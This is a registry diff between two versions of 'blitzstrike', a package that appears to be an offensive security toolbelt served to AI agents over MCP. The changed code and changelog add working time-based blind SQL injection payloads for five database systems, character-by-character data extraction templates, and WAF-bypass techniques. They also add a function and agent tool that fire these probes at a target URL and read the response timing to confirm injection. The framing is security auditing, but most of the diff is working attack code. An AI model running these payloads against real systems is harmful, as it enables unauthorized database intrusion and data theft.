blitzstrike 2.4.149 → 2.4.151
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +26 -0
- package/dist/index.js +66 -14
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,32 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.151] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — time-based blind SQLi (per-DBMS, detection + extraction)
|
|
11
|
+
|
|
12
|
+
- `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
|
|
13
|
+
(mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
|
|
14
|
+
dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
|
|
15
|
+
randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
|
|
16
|
+
the mssql/oracle extraction templates.
|
|
17
|
+
- `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
|
|
18
|
+
flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
|
|
19
|
+
via a >2s timing differential when the boolean body is identical.
|
|
20
|
+
547/547 tests.
|
|
21
|
+
|
|
22
|
+
## [2.4.150] — 2026-10-11
|
|
23
|
+
|
|
24
|
+
### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
|
|
25
|
+
|
|
26
|
+
- Lab-verified correction: `SUBSTRING/**/(...)` (comment between a function name
|
|
27
|
+
and its paren) does NOT work on MySQL 8.0 — IGNORE_SPACE was removed in 8.0, so
|
|
28
|
+
the parser treats it as a stored-function call. It only works on MySQL ≤5.7.
|
|
29
|
+
- Added the correct MySQL 8.0 function-name-filter bypasses: `sUbStRiNg()` case
|
|
30
|
+
swap + `SUBSTR()` / `MID()` / `SUBSTRING_INDEX()` aliases. Verified against a
|
|
31
|
+
live MySQL 8.0 blind-SQLi lab (boolean oracle, version/db/user/flag extracted).
|
|
32
|
+
539/539 tests.
|
|
33
|
+
|
|
8
34
|
## [2.4.149] — 2026-10-10
|
|
9
35
|
|
|
10
36
|
### Added — exhaustion checklist tool + English terminology
|
package/dist/index.js
CHANGED
|
@@ -59810,9 +59810,9 @@ var WAF_BYPASS_GENERIC = [
|
|
|
59810
59810
|
{
|
|
59811
59811
|
category: "func-paren-split",
|
|
59812
59812
|
techniques: [
|
|
59813
|
-
"SUBSTRING/**/(...) — comment between function name and (",
|
|
59814
|
-
"SUBSTR/*x*/(...) — comment with content",
|
|
59815
|
-
"
|
|
59813
|
+
"SUBSTRING/**/(...) — comment between function name and ( — MySQL ≤5.7 ONLY (IGNORE_SPACE; removed in 8.0)",
|
|
59814
|
+
"SUBSTR/*x*/(...) — comment with content (same ≤5.7 caveat)",
|
|
59815
|
+
"MySQL 8.0 alternative: sUbStRiNg(...) case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases"
|
|
59816
59816
|
]
|
|
59817
59817
|
},
|
|
59818
59818
|
{
|
|
@@ -59889,6 +59889,7 @@ var WAF_BYPASS_DBMS = {
|
|
|
59889
59889
|
category: "mysql-specific",
|
|
59890
59890
|
techniques: [
|
|
59891
59891
|
"/*!50000...*/ inline comment — MySQL executes, old WAF ignores",
|
|
59892
|
+
"function-name filter (8.0): sUbStRiNg() case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases — comment-between-func-and-paren does NOT work on 8.0",
|
|
59892
59893
|
"BENCHMARK(10000000,MD5(1)) as SLEEP alternative",
|
|
59893
59894
|
"backtick obfuscation: SELECT `column` FROM `table`",
|
|
59894
59895
|
"-- - and # comment terminators",
|
|
@@ -59961,13 +59962,41 @@ function listWafBypassDbms() {
|
|
|
59961
59962
|
// src/blind-sqli.ts
|
|
59962
59963
|
var WAF_BYPASS = WAF_BYPASS_FLAT;
|
|
59963
59964
|
function oracleConfirm(dbms) {
|
|
59964
|
-
const time =
|
|
59965
|
+
const time = {
|
|
59966
|
+
mysql: {
|
|
59967
|
+
true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
|
|
59968
|
+
false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
|
|
59969
|
+
fn: "SLEEP(sec)"
|
|
59970
|
+
},
|
|
59971
|
+
postgresql: {
|
|
59972
|
+
true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
|
|
59973
|
+
false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
|
|
59974
|
+
fn: "pg_sleep(sec)"
|
|
59975
|
+
},
|
|
59976
|
+
mssql: {
|
|
59977
|
+
true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
|
|
59978
|
+
false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
|
|
59979
|
+
fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
|
|
59980
|
+
},
|
|
59981
|
+
oracle: {
|
|
59982
|
+
true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59983
|
+
false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59984
|
+
fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
|
|
59985
|
+
},
|
|
59986
|
+
sqlite: {
|
|
59987
|
+
true_: `' AND 1=1 AND randomblob(500000000)--`,
|
|
59988
|
+
false_: `' AND 1=2 AND randomblob(500000000)--`,
|
|
59989
|
+
fn: "randomblob(sec*100000000)"
|
|
59990
|
+
}
|
|
59991
|
+
};
|
|
59992
|
+
const t = time[dbms];
|
|
59965
59993
|
return {
|
|
59966
59994
|
boolean_true: `' AND 1=1-- -`,
|
|
59967
59995
|
boolean_false: `' AND 1=2-- -`,
|
|
59968
|
-
time_true:
|
|
59969
|
-
time_false:
|
|
59970
|
-
|
|
59996
|
+
time_true: t.true_,
|
|
59997
|
+
time_false: t.false_,
|
|
59998
|
+
time_fn: t.fn,
|
|
59999
|
+
note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
|
|
59971
60000
|
};
|
|
59972
60001
|
}
|
|
59973
60002
|
function playbook(dbms) {
|
|
@@ -60041,7 +60070,7 @@ function playbook(dbms) {
|
|
|
60041
60070
|
oracle: oracleConfirm(dbms),
|
|
60042
60071
|
extraction: {
|
|
60043
60072
|
boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
|
|
60044
|
-
time: `'
|
|
60073
|
+
time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
|
|
60045
60074
|
method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
|
|
60046
60075
|
},
|
|
60047
60076
|
metadata: {
|
|
@@ -60065,7 +60094,7 @@ function playbook(dbms) {
|
|
|
60065
60094
|
oracle: oracleConfirm(dbms),
|
|
60066
60095
|
extraction: {
|
|
60067
60096
|
boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
|
|
60068
|
-
time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN
|
|
60097
|
+
time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
|
|
60069
60098
|
method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
|
|
60070
60099
|
},
|
|
60071
60100
|
metadata: {
|
|
@@ -62299,6 +62328,15 @@ function sstiProbes(value) {
|
|
|
62299
62328
|
function xssProbe(value, marker) {
|
|
62300
62329
|
return { sink: "xss", name: "marker", payload: `${value}${marker}` };
|
|
62301
62330
|
}
|
|
62331
|
+
function timeProbes(dbms, value) {
|
|
62332
|
+
const p = blindSqli(dbms);
|
|
62333
|
+
if (!p)
|
|
62334
|
+
return [];
|
|
62335
|
+
return [
|
|
62336
|
+
{ sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
|
|
62337
|
+
{ sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
|
|
62338
|
+
];
|
|
62339
|
+
}
|
|
62302
62340
|
function classifyBlindProbe(input) {
|
|
62303
62341
|
const same = input.bodyHash === input.baselineHash;
|
|
62304
62342
|
let signal = false;
|
|
@@ -62321,6 +62359,7 @@ function classifyBlindProbe(input) {
|
|
|
62321
62359
|
async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
62322
62360
|
const base = baseUrl.replace(/\/+$/, "");
|
|
62323
62361
|
const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
|
|
62362
|
+
const timeDbms = opts.timeDbms ?? "mysql";
|
|
62324
62363
|
const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
|
|
62325
62364
|
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
|
|
62326
62365
|
const timeoutMs = opts.timeoutMs ?? 8000;
|
|
@@ -62344,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62344
62383
|
probes.push(...sstiProbes(value));
|
|
62345
62384
|
if (sinks.includes("xss"))
|
|
62346
62385
|
probes.push(xssProbe(value, marker));
|
|
62386
|
+
if (sinks.includes("time"))
|
|
62387
|
+
probes.push(...timeProbes(timeDbms, value));
|
|
62347
62388
|
const results = [];
|
|
62348
62389
|
for (const p of probes) {
|
|
62349
62390
|
const t0 = Date.now();
|
|
@@ -62363,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62363
62404
|
body,
|
|
62364
62405
|
marker
|
|
62365
62406
|
});
|
|
62407
|
+
let signal = cls.signal;
|
|
62408
|
+
let reason = cls.reason;
|
|
62409
|
+
if (p.sink === "time") {
|
|
62410
|
+
if (p.name === "time_true" && timing > 2000) {
|
|
62411
|
+
signal = true;
|
|
62412
|
+
reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
|
|
62413
|
+
} else if (p.name === "time_false") {
|
|
62414
|
+
reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
|
|
62415
|
+
}
|
|
62416
|
+
}
|
|
62366
62417
|
results.push({
|
|
62367
62418
|
sink: p.sink,
|
|
62368
62419
|
name: p.name,
|
|
@@ -62372,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62372
62423
|
timing_ms: timing,
|
|
62373
62424
|
body_hash: bodyHash.slice(0, 12),
|
|
62374
62425
|
same_as_baseline: cls.same_as_baseline,
|
|
62375
|
-
signal
|
|
62376
|
-
reason
|
|
62426
|
+
signal,
|
|
62427
|
+
reason
|
|
62377
62428
|
});
|
|
62378
62429
|
} catch {
|
|
62379
62430
|
results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
|
|
@@ -65062,16 +65113,17 @@ ${statusLine}` : statusLine },
|
|
|
65062
65113
|
base_url: string2().describe("Target base URL"),
|
|
65063
65114
|
param: string2().describe("Parameter name to probe (e.g. id)"),
|
|
65064
65115
|
value: string2().describe("Baseline value for the parameter (e.g. 1)"),
|
|
65065
|
-
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
|
|
65116
|
+
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
|
|
65117
|
+
time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
|
|
65066
65118
|
}
|
|
65067
|
-
}, async ({ base_url, param, value, sinks }) => {
|
|
65119
|
+
}, async ({ base_url, param, value, sinks, time_dbms }) => {
|
|
65068
65120
|
let s;
|
|
65069
65121
|
try {
|
|
65070
65122
|
s = sinks ? JSON.parse(sinks) : undefined;
|
|
65071
65123
|
} catch {
|
|
65072
65124
|
return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
|
|
65073
65125
|
}
|
|
65074
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
|
|
65126
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
|
|
65075
65127
|
});
|
|
65076
65128
|
server.registerTool("oob_start", {
|
|
65077
65129
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.151",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|